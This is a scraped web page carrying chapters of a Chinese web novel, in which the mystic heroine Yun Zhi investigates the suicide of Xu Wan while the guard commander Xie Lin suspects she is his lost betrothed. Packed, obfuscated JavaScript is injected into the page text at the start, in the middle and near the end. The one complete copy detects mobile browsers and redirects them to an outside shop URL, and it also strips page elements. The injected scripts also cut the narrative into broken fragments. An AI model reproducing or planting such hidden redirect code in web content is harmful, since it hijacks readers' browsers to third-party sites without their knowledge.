;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“幸好这位许少爷机灵!” “织织,那姓谢的王八蛋竟然调查我们!他应该……没发现什么吧?” 云织捻了捻指尖的金线。 没发现什么吗? 未必。 不管谢凛是真的认不出她,还是假装不认得她,方才他的怀疑,调查,警告,丝毫没有掩饰。 而她方才的表现,自然也不像是一个与他毫不相干、单纯的闺中少女。 “云……云织小姐,您……您可吓死老奴了,”此时一直立在一旁头都不敢抬的许妈拍着胸脯,颤颤巍巍地开口了,“这位谢大人执掌着京畿卫,从来是冷面无情的,况且他如今是当今圣上眼前的红人,又与二皇子交好,您后续再遇着他,可不能再这样与他说话了啊!” “若是……若是这位大人对您生了疑心,将您像之前那些玄师一样抓走,不仅您要遭殃,怕是还要连累了……” “不要啰啰嗦嗦了!”阿璧受不了许妈的碎碎念,抱着手臂皱眉道,“我家小姐这么做,自然有她的道理!” “要是跟您方才似的,磕磕巴巴半天说不出一句话,我家小姐怕是这会已经遭殃了!” 许妈被阿璧怼得老脸一红,也不敢再多说,引着两人继续向前。 云织沉默跟着,却全然没有了继续寻找许四小姐碎魂的心思。 她方才,的确是有恃无恐了。 恃的是,方才那一瞬间,她想明白了一点。 谢凛仅凭入城那日的一面之缘便怀疑了她,开始调查甚至监视着她,可见即便他不知她的身份,也是知道了些什么,或者发现了些什么的。 可他却一直没有进一步的动作。 没有求证,没有问话,更没有叫人抓捕。 那便有两种可能。 要么,他只是猜疑,没有什么证据。 要么,就是他知道了什么,但却有意隐瞒。 无论是哪一种,目前,她都是安全的。 谢凛,你究竟藏了什么秘密? 无妨。 不管是什么秘密,我总会知道的。 5. 执念为何 当夜。 客栈的房间里,阿璧已经睡熟,云织却睁着眼,望着帐顶,毫无睡意。 今日与谢凛对峙时的场景,和那些想不明白的问题,在她脑中不断循环往复。 直到天边泛白,才浅浅合眼。 一夜无梦。 次日一早,许府就派了马车来,恭恭敬敬地将云织接进了府。 入了府,云织与阿璧便直接去了许老太太的松延苑。 云织进屋的时候,许老太太一身鼠灰色仙鹤纹衣裳,头上戴了抹额,正歪坐在红木软榻上。 许妈站在一旁,正为她轻轻按揉着额角。 “云织小姐,您来了!”见到云织进门,许妈停下手里的动作,恭恭敬敬地行了个礼。 “许老夫人。”云织淡淡道。 “云织来了,快坐!” 许老太太将人让在身边坐了,强撑着一对泛着乌青色的眼,笑着道:“怎么还叫老夫人呢!” 见云织不说话,许老太太笑得更加和蔼了,“云织啊,该叫老身一声祖母才是。” “不急。”云织表情不动,“先解决了府上的事情再说。” “我若真有解决的本事,您自然不会说话不算话。” 许老太太脸上的笑容一僵,但转眼又恢复正常。“那是自然的!云织小姐大可以放心!” 许老太太一脸的真诚,对云织的称呼不由得又换成了云织小姐。 “我有几个问题,想要请教老夫人。”云织看了看立在门旁的两个丫鬟。 “都下去吧!”许妈看着许老太太的眼色,忙开口吩咐道。 待下人都退下去了,云织才看着许老太太道:“许四小姐名许菀,至今逝去已有半月,可对?” “……对。”许老太太紧紧捏住手中的帕子。 “许菀因为死前有极重的执念,导致她死后魂魄碎裂无法轮回转生,碎魂在她生前熟悉或挂念的地方不断徘徊游荡,这才搅得您府上不得安宁。” 许老太太听着,捏着帕子的指节发白,脸上的血色肉眼可见地褪了下去。 她惊恐地看着云织,面上的表情半是不懂,半是不可置信。 而在她身后,许妈也惨白着脸捂住了心口。 “此事唯一的办法,便是找齐许四小姐的碎魂,弄清她的执念,然后为她织魂,送她进入往生。” “否则,便如这半月间日日发生的一样,许四小姐碎魂入梦,会让您府上永远不得安宁。” “待她的执念成噩,便会逐一影响府上之人的命运和寿数。” “呃……”许老太太终于承受不住,喉咙里发出一声呜咽,身子一软靠在了软塌上。 “老夫人!”许妈见状吓了一跳,忙上前为许老太太顺气,“您……您怎么样?” “没事……”半晌之后,许老太太才终于吁出一口气。 “我,可以为许四小姐织魂。”云织看着许老太太,语气淡淡,像是说的是再稀松平常不过的事,“前提是,我需要先找齐许四小姐的碎魂,弄清她的执念。” “所以,我有几个问题。” “许四小姐,是因为爱而不得,所以才郁郁离世的?” 她一对凤眸紧盯着许老太太,眸中闪烁着某种说不出的情绪,“她是,自戕?” 许老太太面色如纸,狠狠咬了咬嘴唇。“……是!” 云织的话实在太过骇人,她已经无法思考,更没有意识到云织竟连此事都知道的清清楚楚。 “她是自己想死,还是被逼着,不得不死?” 云织的语调很轻,但说出的话却如石破天惊。 “云织小姐!”站在许老太太身后的许妈忍不住嘶喊了声,脸上已经满是泪水,“我们四小姐,是被那个忘恩负义的负心人害的,才寻了短见!不关老夫人的事啊!” 负心人。 云织脑海中不由得浮现出幻境中,那青衣男子看着她坠落悬崖的那一幕。 还有谢凛看着她时面色凉薄,像是全然不认识她一般。 云织垂下眼,不再想下去。 … 许府,栖竹苑。 “织织,这院子可真不错,精致又僻静,许老太太倒真是有心了。” 正屋中,阿璧将装着两人衣物的包袱向榻上一放,满意地四处打量。 昨日离开许府前,许老太太再三挽留,定要云织主仆二人立即住进来。 许老太太的理由也很充分。 一是云织和阿璧两个年轻姑娘,总在天启城行走往来,毕竟不太方便,难免会惹了有心人的注意。 二是如今许四小姐的碎魂还没有找齐,云织怕是还要多下些功夫在府中找寻。 许老太太说这话的时候,一脸恳切的模样犹在眼前。 “云织小姐,”老太太眼中含着泪光,“老身信你,一定能替那丫头了了心愿……” “院子老身都准备好了,反正早晚是要住进来的,早几天又何妨呢!” 许家这一桩,本就是利益交换,云织向来不喜欢亏欠旁人。 但老太太言辞恳切,却也不好再拒绝。 这院子的确幽静,一花一树无不精巧,屋前还种了一丛翠竹,更添了几分雅致。 最难得的是,这院子偏居许府西南角,离许府主家人住的院子都很远,且出了院子不用走多远,便是府上下人出入的角门。 许老太太早便特意交代了府上管事的,无论何时,云织主仆可以随意出入,不许问,不许拦。 “的确是有心了。”云织扫了一眼屋中的陈设,道。 她素来不爱金银饰物,这屋子对她来说,与药老那简陋的药庐没什么分别。 “啧啧,织织,”阿璧看着架子上的文玩器物,眼睛发亮,“许家这手笔,果然配得上京城第一富商的名头!” “还有这被褥,料子又软又滑,比客栈的可是好上太多了!” 云织看着阿璧将脸埋进被子里,笑得一脸满足,忍不住也弯了弯嘴角。 既然阿璧喜欢,那便好。 两人正说着话,门口传来轻轻的两声叩门声。 半晌之后,门扇被人推开,一个梳着圆髻的小丫鬟探进了半个身子,“云……云小姐,大公子来了。” 小丫鬟叫秋兰,和另一个小丫鬟秋竹今日才来到栖竹苑,是许老太太特意指来伺候云织日常起居的。 云织不习惯被人伺候,但实在拗不过许老太太,便应了。 且,她的确舍不得让阿璧做那些日常琐事。 秋兰老实本分,显然对这位总是冷冷的新主子还不熟悉,眼神都是怯生生的。 “知道了。”云织应了一声。 许衡奕会来,她并不意外。 那日与他和谢凛在园子里相遇,云织便知道,许衡奕是一定会来找她的。 恰好,她也有话要问。 … 已是九月,天气开始转凉,即便晨间日头正好,也并不觉得暑热。 栖竹苑院中的凉亭里,云织与许衡奕两人相对而坐。 许衡奕一身白衣,还是一副翩翩公子的模样,面上带着温和的笑意。 “云织小姐……”许衡奕才刚开口,却故意顿了顿,“哦,不对,我应该叫一声云织表妹才对。” 他故意将“云织表妹”咬得很重,话才说完,面上的笑意又加深了几分。 “大公子既然知道云织并非许老夫人母家亲戚,我自然当不起大公子这一句表妹,”云织眸色无波,直接开门见山。 “我来京城,是有我的事要做,而恰好,许府目前的困境,我可以解。” “作为交换,我便要了许老夫人母家亲戚的虚名,以保全自身。” “既然只是虚名,无旁人的时候,许大公子可以直接叫我的名字。” “至于我的身份,许大公子想必已经猜到了。” 简单几句话说完,云织的眸子里多了一些锐色,“否则,昨日相遇,许大公子也不会费心解围。” 云织的身份,并未想要瞒着许衡奕。 她要为许菀织魂,总是瞒不住的。 而昨日许衡奕的解围,也让云织觉得,此人可信。 许衡奕面上温和的笑意僵住,一时哑然。 这姑娘生得清艳脱俗,看着也不过才十五六岁的模样,但这份锐利又通透的气势—— 许衡奕脑中不由得浮现出一个人。 嗯,像极了阿凛。 却比阿凛能言善辩。 一个闺阁少女,有这般的心智性情,且竟还懂玄术, 才入京,就被阿凛盯上了,而阿凛却并没有将她抓了。 这姑娘,怕是浑身都是秘密啊。 许衡奕皱着眉头,忽然想到云织的姓氏,脑中电光火石般划过一个念头。 难道,她……与凤梧山云家有关? “云织姑娘说话,一向如此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“祖母知道后大怒,又觉得家丑不可外扬,便命人将四妹妹关了起来。”许衡奕说到此处的时候,面上都是强忍的悲痛。 “祖母还让人暗中去查那书生的身份,却一直没有查到,四妹妹一个字也不肯说。” “然后……” 许衡奕的声音沉重,带着一丝颤意。 “半月前的深夜,四妹妹将床单打了结、搭上房梁,把自己吊了上去。” 后面的事,云织都知道了。 次日清晨下人发现的时候,许菀的身子都已僵直了。 许老夫人说,许菀会寻短见,是因为日前又收到了那书生的一封信。 书生在信中说,他已离开京城、回乡娶亲生子,再不会回来了,让许菀忘了他。 许菀死后,考虑到她的名节,对外便称是得了急症,病死了。 府上知道内情的人不多,许老夫人下了死令,不许任何人提起此事,更不许人再查。 许菀在府中停灵三日,三日后出了殡。 而自出殡那日起,许老夫人与许衡奕的母亲赵氏、柳姨娘等府上的女眷,便开始梦见许菀。 梦中许菀一身大红色嫁衣,手中捧着一个红绸绣球,对着她们呜呜咽咽地哭,眼中不断流出血泪。 半月以来,府中上下被折腾得苦不堪言,也曾偷偷请了所谓的玄师上门驱邪,但都无济于事。 “许菀很谨慎,所以与那人通信一年多都没有被人发现。她自尽前,应是将与那人的书信全部毁掉了。”云织道。 所以许家人将她的房间院子翻了个遍,也没有找到一点线索。 许菀的执念看似很清晰,被家人禁足,又得知被心上人辜负,所以伤心欲绝之下自戕,死前心有不甘,还念着能嫁给心上 人。 但云织却直觉不对。 原因有三。 其一,许菀平时大门不出二门不迈,是怎么找到了那个书生,还与他一直暗通书信的? 其二,她一向谨慎,所以一直与那人秘密通信而未被府上的人察觉,为何那书生的最后一封断情信,却正好被许老太太发现了? 其三,那负心人狠心与许菀断情,许菀又怎会还执着于红绸绣球?难道她便真那般痴傻,被那人辜负了、枉送了性命,还一心想着要嫁给他? “看来,要找到许菀最后一片碎魂,探出她真正的执念,只有找到那个书生再说了。” 6. 可能心安 次日,云织与阿璧在城中打听了半日,却一无所获。 她们连那人姓甚名谁都不知道,且顾及许菀的闺誉,更不敢多问。 “织织,我们可怎么查呢?”午间,阿璧毫无胃口,托着腮发愁。 “这京城这么大,单凭这点可怜的线索,咱们怕是很难找到那人。” “很难,也要试试看。”云织语气淡淡,却难掩认真,“眼下也没有更好的办法。” 云织想着簪中许菀碎魂面目模糊的模样,心中一时涌起莫名的情绪。 一条鲜活的生命就此逝去,原本的亲人却对此讳莫如深,像是她从来不曾存在过一般,何其可悲。 若不是许菀碎魂成怨,扰了许府安宁,一个让府上蒙羞的庶女,有谁会在意她从前经历了什么—— 爱谁,又恨谁? “先吃饭,等下我们再去茶楼酒肆转转看看。”云织压了压纷乱的心绪,拿起了筷子。 云织没有料到,那书生的线索并没有让她等太久。 甚至是出乎意料的快。 两人用过饭后便出了门,才来到院门口,便见到许衡奕行色匆匆而来。 “云织,那书生找到了。”许衡奕才站定,还不等云织询问,便开口道,“你快随我走!” 阿璧看着许衡奕先是眼睛一亮,而后立刻皱起眉头,面色不善。 这人竟然直呼织织的名字! 我们和他很熟了吗! 云织微微一怔,随即盯着许衡奕道:“如何找到他的?” 许衡奕像是没想到云织会问这个问题,目光一时微微避开她的视线,“是……朋友帮忙……” ”哦?“云织微微挑眉,“什么样的朋友,如此神通广大,才不过半日,便将人找到了?” 云织一对凤眸目光灼灼,让许衡奕瞬间觉得无所遁形。 知道瞒不过,他索性直接开口了:“是阿凛查到的。” 云织闻言,微微攥了攥手心。 果然是他。 也只有他京畿卫统领的身份,才可能在半日之内便将人找出来。 云织直觉,谢凛必然已经知道,这人是她要找的。 所以,他在帮她? 为什么? … 已近酉时,天色暗了下来。 马车在夜色中穿行,马蹄的哒哒声在空旷的街道上便显得分外清晰。 车内,云织与阿璧坐在一侧,许衡奕坐了另一侧。 “抱歉,姑娘此时出行未免太过引人注意,只能委屈姑娘与我同乘一车了。”许衡奕笑着道。 “无妨,”云织面色无波,顿了顿后,又加了一句,“多谢。” 许衡奕的好意,她是知道的。 男子多爱骑马出行,少有人愿意与女子同挤马车,许衡奕是在替她遮掩。 “姑娘就不必与我客气了,”听到云织道谢,许衡奕先是一瞬的惊讶,转而嘴角上扬,面上便是一贯的翩翩笑意,“毕竟日后同在府上,姑娘见了我还要叫上一句表兄,说起来,还是我占了姑娘的便宜。” 云织看着许衡奕的模样,沉默,忽地不自觉想到了谢凛。 以谢凛那样冷面冷心、生人勿近的性子,到底是怎么与这位浪荡公子成为朋友的? “许大公子,”抱着剑冷眼旁观了半天的阿璧突然开口了,神秘兮兮地凑近许衡奕,“我有个问题想要请教,不知道,许大公子可否为我解惑?” “什么问题,姑娘请问,在下必然知无不言。”许衡奕见阿璧表情神秘,忍不住也坐直了身体。 “许大公子,可是属孔雀的?”阿璧面色不变,但声音却是骤然冷了几分。 许衡奕愕然。 “不然,为何一见了我家小姐,就忍不住想要张屏?”还不待他反应过来,阿璧已一挑眉毛,继续道。 “咳咳咳……” 阿璧的话音一落,许衡奕便忍不住一阵呛咳。 阿璧见许衡奕面上的尴尬之色,冷哼了一声。 这样的浪荡子,还想向我们织织献殷勤? 做梦! 云织看着阿璧一脸得意的模样,不由得也弯了弯嘴角。 许衡奕本还尴尬着无法自处,此刻见云织面上的那抹笑意,竟一时看得呆了。 云织长得本就好看,但总是冷冷的,很是疏离。 此刻这样面色柔软、带着笑意的样子,却显得她愈加好看。 … 马车颠簸着前行,终于在一处僻静的宅子门前停下。 此处已近天启城城墙,与城中的繁华不同,只有几所旧宅子。 “此处僻静,不容易引人注意。”下车后,见云织打量着眼前的宅院,许衡奕便解释道。 云织点了点头,跟着许衡奕走到宅门前。 还不待敲门,那两扇破旧的木门便吱呀一声被人打开了。 “许少爷。” 开门的是一个一身青衣的男子,待众人进了门来,男子警惕地向门外望了半晌,这才将门关好。 “少爷在里面。”男子说完,再不看众人一眼,便又沉默立在了门口。 前进间,阿璧紧了紧手中的剑,忍不住回头看了那男子一眼。 她们这样的人,对同类感知最准。 看这人的身形气息,绝对是个数一数二的高手。 姓谢的倒会招揽人才。 一行人来到屋门前,许衡奕伸手推开门,屋内坐着的人瞬间便站了起来。 “这……这位少爷……”站着的人看着云织一行,显得手足无措,只忐忑着说出了几个字。 云织看着眼前的男子。 男子一身灰色布衣,面貌清秀,皮肤白皙,身材稍显单薄,看着便是个读书人的模样。 若不是此刻眼中难掩惊恐之色,单看长相,倒是有几分文雅气质。 这人,便是许菀的心上人了。 云织才要张口,便感觉到两道眸光冷冷看了过来。 侧头,正对上谢凛一对幽邃的眸子。 黑沉沉的瞳仁浸着冷意,像裹挟着霜雪。 “阿凛,我把云织带来了。”许衡奕跟谢凛打了个招呼,便面色冷沉地看向沈慕白,“你,就是与我四妹通信那人?” 许衡奕的心思全在那男子身上,丝毫没有注意到当谢凛听到他直呼云织名字的时候,眉头微微一动。 “公……公子,我和菀儿是真心相爱的!”沈慕白显然已经猜到了许衡奕的身份,虽然面上仍是紧张,但却忍不住直了直身子。 “我倾心菀儿,菀儿也是真心喜欢我,我读圣贤书,自知这样与她私下通信不对,但……” 沈慕白的眼底染了泪意,“但……情之所至,我控制不了自己!” “可,可我从没有想过,竟会害了她……” “没想过会害了她?”云织淡淡开口,虽然声音很轻,却透出刺骨的冷意。 沈慕白忍不住缩了缩肩膀,住了口。 “许菀一个未出阁的女子,名节是何等重要,你与她暗中通信一年多的时间,却说没想过会害了她?” “既然两情相悦,既然情难自控,便该想法子走正路上门提亲,这一年多的时间,你可有过这样的念头,可有给过她这样的承诺?” “我想过的!可我……”沈慕白紧攥着拳头,红着眼看着云织。 “可你身份低微,家世一般,许家是断不会将许菀嫁给你的,可对?”云织冷冷打断。 被云织说中了痛处,沈慕白咬紧了牙关。 “既知身份低微,配不上她,便不该招惹她,妄想攀附,让她错付了真心。” “我想,你一定对许菀讲过,待你有朝一日考取了功名,必然会风风光光娶她进门做正妻,可对?” 沈慕白喉结微微滚动,没有作声。 “你既没有逼自己努力有所成就,能够配得起她,又不愿利落放手,让她趁早对你断了念想,所以,便让她背负了所有的重担和骂名。” 云织字字如刀,“你却说,你没有想过会害了她?” “我……”沈慕白还想再说什么,可却无从反驳。 “这样的鬼话,只能骗一骗许菀那样的姑娘,”云织的眸色冷冽凌人,“她太过单纯,才会义无反顾地信了,一心等你娶她。” “如今她为了你死了,你可能心安?” “……菀儿!我……我对不起你!”云织最后这句似乎成了压垮他的稻草,沈慕白攥着拳头颓然跪地,眼泪滚滚而下。 云织冷眼看着他痛哭流涕,心里却没有半分动容。 待抬眸,这才发现屋内三人的视线都牢牢粘在她身上。 阿璧眼睛发亮,一脸骄傲, 许衡奕点了点头,一脸赞赏, 而谢凛—— 原本黑眸中的寒意似乎消退了些许,如今看着她的目光里,却满是探究。 云织皱了皱眉,刻意忽略谢凛的眼神,将心底的不适压下去。 “事后的眼泪与后悔,最是无用,换不回死去的人,更换不回一颗真心。”云织语气依旧淡淡,可却见谢凛蓦然攥紧了手心。 那动作如此明显,不仅云织看到了,就连许衡奕与阿璧也注意到了,一齐转头看向了他。 两人眼神在空中一碰,含意如出一辙:他怎么回事? 看懂了对方眼底的 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待沈慕白被人带出去了,屋内的人各自静坐着,气氛肃静得落针可闻。 云织默默回想着方才沈慕白的话。 原来,沈慕白那日偶遇许菀后,便对她一见倾心。 多方打听到她是许家的四小姐,便日日守在许府周围,终于守到了许菀离开许府出行。 然后便故意偶遇,不想许菀竟也还记得他。 一来二去,两人逐渐熟识,于是便开始借着许菀买的、每隔一段便由人送上门的话本子,私下通信。 偶尔许菀得了允许出门,也会借着看戏或是赏花的由头,趁机支开下人,与他私会。 许菀被禁足后,沈慕白心中焦急,便冒险去许府附近打探消息,不想他才刚与许府的下人攀谈了几句,便被许家的人拿住了,一路押到了许老夫人的面前。 许老夫人以他家中重病的老母亲作为要挟,要他亲手写下了那封断情信,而后才放他离开。 沈慕白心灰意冷,便想暂且离开京城避避风头,却不想还不待他离开,便听闻了许菀的死讯。 他知道许菀的死是因为他的那封信,他无法原谅自己,便日日买醉。 直到今日晚时,他被一队带刀的兵爷自酒肆里提了出来,稀里糊涂便来到了此处。 念及此处,云织忍不住抬眸看向谢凛。 他竟差使京畿卫的人手,帮忙寻找沈慕白。 能够这般迅速便拿到人,应是在许衡奕找过他后便动手了,茶楼酒肆客栈店铺,定然是一间一间地排查下来。 他这般出力,果真是为了兄弟义气? 还是—— 想要借此试探她的底细? 云织想得出神,没注意谢凛察觉到她的目光,竟也抬眸望了过来。 两人各有心事,视线在空中交汇一瞬后,云织便移开了视线。 如今谢凛既然参与了进来,以他之能,她的身份,后续怕是再难保密。 然后呢? 他是会因为她玄师的身份,还是会因她凤梧山云家独女云昭月的身份,将她拘走? … 众人起身出门时,天色已晚,月上柳梢。 如水的银色洒下来,给这所小院披了一层浅浅的柔光。 谢凛走在云织身后,却不知是有意还是无意,云织感觉到他的目光一直落在她的背上。 “公子。”来到院外,先前给众人开门的青衣男子上前两步,站在谢凛身旁。 “沈青,把人带出来。” “是!”沈青转身就走。 众人在马车旁站着,平时最是擅长活跃气氛的许衡奕也默不作声,于是便各自无言。 阿璧站在云织一侧,看着站在云织另一侧的谢凛,不由得哼了一声。 这人方才在屋里,眼睛简直像是粘在织织身上了一样。 那模样,分明就是知道织织是谁的。 不管是因为什么故意装作不认识,都改变不了他和那沈慕白一样,是个没良心的负心人的事实! 阿璧正想着,却看见谢凛微微转头,看向不远处的街道尽头。 纷乱的马蹄声逐渐响起,越来越清晰。 恰巧沈青也押着沈慕白来到了院中,听到动静,忙推搡着人快走了几步,来到众人跟前。 “公子,是……” “唰!” 沈青话还没说完,也察觉到动静的阿璧已眉眼一沉,瞬间拔剑出鞘。 “有人!” 7. 春花秋月 许衡奕看着阿璧的动作,后背瞬间便被惊出一身冷汗,忙压低了声音,“姑奶奶,你是疯了吗!” 阿璧不理会许衡奕,正要将云织拉在身后,却见眼前有人影一闪。 再细看时,她已经被沈青反手握住手腕,推在墙边,身旁是同样被推过来的沈慕白。 而她的剑,已经握在沈青的手中。 阿璧皱着眉,正要挣脱,便听到沈青低沉的声音,“别动。” 若是旁人让她别动,她必然要还那人一剑外加两脚,但许是对高手天然的敬畏感,沈青话一出口,阿璧便果真不敢乱动了。 她侧眸望过去,见云织也被谢凛护在身后,隐在墙角的暗处,几乎看不出身形,这才放下了心。 “什么人在那!”马蹄的声音越来越近,带队的人显然发现了众人,高喊一声。 “是我家公子,和许公子。”沈青沉声道。 带头的人隐隐只看到一辆马车和三个身影,待走近了一看,见是谢凛和沈青,忙翻身下马行礼。 “大人!” “我与许公子,约在此处喝酒。”谢凛眸色冷沉,看着那小队巡逻的京畿卫道。 “属下不敢打扰大人与许公子雅兴,这便告退!” 带队的人显然了解谢凛的脾性,再不敢多言一句,忙目不斜视地起身,上马离开。 云织被谢凛推在身后,背靠着墙壁,丝丝凉意正透过衣衫,缓缓浸入肌肤。 但她却全然感觉不到。 谢凛个头很高,几乎要高过她一个头,眼前的背影挺阔坚实,几乎便整个将她遮挡住。 方才被拉过的腕上,似乎还残留着他的温度。 鼻尖能闻到他身上淡淡清冽的松香气息。 云织的呼吸乱了一瞬,尽力紧贴着墙壁,拉开一点两人间的距离。 掌心发烫间,只听见自己的心跳声,咚,咚,咚。 两人的距离如此之近,不知是否是错觉,云织似乎也听到谢凛的心跳声。 沉稳有力,咚,咚,咚。 “姑奶奶,你竟敢在京畿卫面前拔剑!” 许衡奕见那队人马走远了,这才松了口气,看向阿璧的时候,像是看傻子一样的眼神,“你是不要命了吗!” “京畿卫怎么了,威胁到我家小姐,我一样跟他们拼命!” 阿璧自墙角走出来,拿过沈青手中的剑,利落入鞘,“况且,既然是你们自己人,为什么不早说!” 谢凛向前几步走开,并没有转头。 云织压了压纷乱的心跳,才缓步走了过来。 阿璧上前拉住云织的手臂,却像是发现了她的不对劲,凑近仔细看了看,“织织,你没事吧?” “我没事,走吧。” 云织不再多言,与阿璧一起上了马车。 她坐定身形的瞬间,抬眼望出去,恰好见到谢凛正望过来。 视线交织的一瞬,车帘落下,阻隔了两人的视线。 … 谢凛与沈青骑马,许衡奕与云织、阿璧三人乘车。 谢凛一路将三人护送至许府角门外。 许衡奕先行跳下车,叫开了门。 “大公子……”看门的老刘头本是睡眼惺忪的,见来人是许衡奕,吓得一个激灵,“您怎么……” 才刚要问,见门外还站着谢凛与沈青,忙住了嘴。 做下人的,最重要的就是要有眼力见。 主子的事情,不该问的不要问,不能说的不要说。 “云织,现在没人。”许衡奕左右看了半天,确认四下无人,这才低声道。 车帘掀开,云织抬眸扫了许衡奕一眼,便与阿璧下了马车。 她已经发现,许衡奕今日一直直呼她的名字,且叫得越来越顺口。 但她并不太反感。 这人虽然浪荡无形,但心是正的,并不令人生厌。 老刘头见到云织与阿璧两人下车,眼睛瞬间瞪得老大,又忙把头埋得更低了。 老夫人有交代,这位表小姐的事,更不能问! 老刘头劝着自己,心里的各种念头却一个一个往上冒。 这可是深夜啊,大公子与谢少爷为何会护送表小姐回来? 难道…… 哎哟我的天! 云织对许衡奕与谢凛点了点头,刻意垂眸避开谢凛看过来的视线,与阿璧进了门。 “大公子,您不……”老刘头抬眼看着许衡奕的脸色,小心翼翼地开口道。 “落锁吧!我走正门。”许衡奕漫不经心地道。 “哎,哎!”老刘头显然又被这句话惊到了,一瞬后才连连点着头,小跑着进了门。 “阿凛,今日真是多亏你了!” 夜色下,谢凛与许衡奕两人并肩走着,沈青牵着马,远远跟在后面。 许衡奕的手揽上了谢凛的肩膀,神情恹恹的,“兄弟,我现在心里很乱,陪我去喝一杯!” 他很难不心乱。 原本以为四妹妹的死全是因为那沈慕白,想不到……祖母竟也参与了其中。 原本对沈慕白纯粹的恨和怒,便变了味儿。 他一时竟不确定,四妹妹的死,究竟该恨谁。 “衙门里还有事。”谢凛看着勾着他肩膀的许衡奕,微微皱眉,将他的手拿开,“改天。” “你小子一身的毛病,得,碰不得,碰不得,”许衡奕就势在谢凛肩膀捶了一拳,“也就今日见云织离你近些,你没一脸嫌弃。” “说到底,还是见色忘友!” 谢凛听许衡奕直呼云织,背在身后的手不由得紧了紧。“你与她,很熟了?” “当然,云织可是我的表妹,日后便要长住府里了,”许衡奕接的非常自然,“自然便熟了。” 长住许府? 谢凛眸底添了些不明的意味,“你这位表妹,为何对许四小姐的旧事,如此感兴趣?” “啊,这个啊,”许衡奕微微一怔,有些心虚地移开了视线,“因为云织以前与四妹妹关系要好,所以……气不过,想要为她出一口气!” “哦?”谢凛眸色微动,“只是这样,便劳动得你特意来求我,要尽快揪出沈慕白?” 许衡奕看着谢凛的神色,听着他这话的语气,不由蓦地想起今日云织盘问他,是谁帮忙找出了沈慕白时的样子,只觉得后脊背发冷。 怎么这两人一个毛病! “她们女孩家的事,我怎么好问!” 许衡奕含糊应了一声,在这人身边再也待不下去,“得,不劳动您了,小爷我自己去喝酒!” 话音一落,拍了下谢凛的肩膀,人已经大步向前而去。 谢凛立在原地,看着许衡奕离去的方向,久久未动。 沈青牵着马,远远看着自家主子一动不动地站着,黑色的背影姿态挺拔,几乎站成一座石像。 沈青暗暗叹了口气。 这两月以来,主子心里有多苦,他最知道。 主子是在恨他自己。 恨两月前的那一夜,云家惨案发生的时候,他人却在边境战场,不在云小姐身旁。 云家灭门的那夜,他正护着主子阵前厮杀,主子却突然毫无预兆心口疼痛,被敌将趁机刺伤,摔下了马去。 待云家灭门的消息传到边境,已经是五日后了。 主子听闻噩耗,不顾重伤未愈,日夜兼程地赶了回来。 可—— 凤梧山四十余具尸体,却并不见云小姐。 圣上授意,京畿卫大肆搜捕玄师,主子顾不得好生休养,便奏请统领京畿卫。 虽然主子不说,但他知道,主子是为了方便追查云小姐的下落,及调查云家案的线索。 也盼着,万一云小姐出现了,恐会被云家之事牵连,他可以早一步将人护下。 如今已经两月有余,云小姐始终毫无音讯。 沈青攥了攥手中的缰绳,看着谢凛的目光里却全是担忧。 可惜。 若是这位突然冒出来的云织小姐,是云昭月小姐,就好了。 谢凛就那样站着,站了许久,心中无数个念头交织。 许久之后,他才攥紧着手心,齿间轻轻吐出一句:“昭昭……” “是你吗……” 自那日巡街偶遇云织起,这几日的惊喜,煎熬,怀疑,担忧—— 此刻终于让他承受不住了。 这几日他暗中调查,却只查到她是自城西的渔村进城,再之前的行踪,线索寥寥。 她就像是凭空出现的一般,顶着和昭昭一样的姓氏,就这样出现在了他眼前。 若要再刻意追查,怕是会引了有心之人的注意。 云伯伯一家惨死是何人所为尚无线索,若,她真的是昭昭…… 不,他不能再冒哪怕一丁点的险。 谢凛蹙着眉,闭了闭眼,狠狠攥紧了手心。“昭昭……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481465|201766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 最开始有这个念头的时候,他觉得自己定是疯魔了。 可如今却越陷越深,无法自拔。 记忆中昭昭的模样清晰如旧,眉目如画,总是明媚洒落地笑着,娇软地叫他凛哥哥。 可云织,样貌要比昭昭更出众,性子却孤冷锐利,心思深沉莫测。 云家的玄术只传男子,加之昭昭对此不感兴趣,所以从没学过。 可云织,却是玄师。会的,似乎还是与死者有关的神秘术法。 一个灿如春花,一个冷如秋月,从样貌到性子,南辕北辙,没有丝毫相似之处。 可…… 为何从第一次在街上见到云织起,每次相遇,他掌心昭昭画下同心符的位置,都会隐隐发烫? 为何明明两人互不相识,云织却对他怀有敌意,步步试探、处处提防? 为何只要见到她,他便忍不住想要接近,探寻她究竟隐藏了什么秘密? 谢凛不由得想起在那院外,他将云织拉过来挡在身后的那一刻。 云织轻浅的呼吸微微扫过他的脖颈,让他的心瞬间便乱了节奏。 昭昭,是你吗? 如果真的是你…… 又为何,不认我? 月色寂寥,可谢凛独自默立的身影,却比这月色还要寂寥几分。 … 云织并不知道谢凛心内正经历着怎样的纠结与交战,回到许府后,她顾不得休息,便与阿璧直奔许菀曾居住的院子。 今日沈慕白曾提过,许菀曾在信中告诉他,她喜欢收藏对她而言很重要的东西,且每次都藏得很好,谁都不曾发现。 也许……她的最后一片碎魂,和解开她执念的线索,都还藏在她的院子。 只是无论许家人还是她,先前都没有发现。 兰蕙苑。 自许菀死后,这院子便空置了,即便仍有人管着,也只是远远守在院门口。 这两日,云织已经来过这院子几次,看守院子的婆子已经对她很是熟悉。 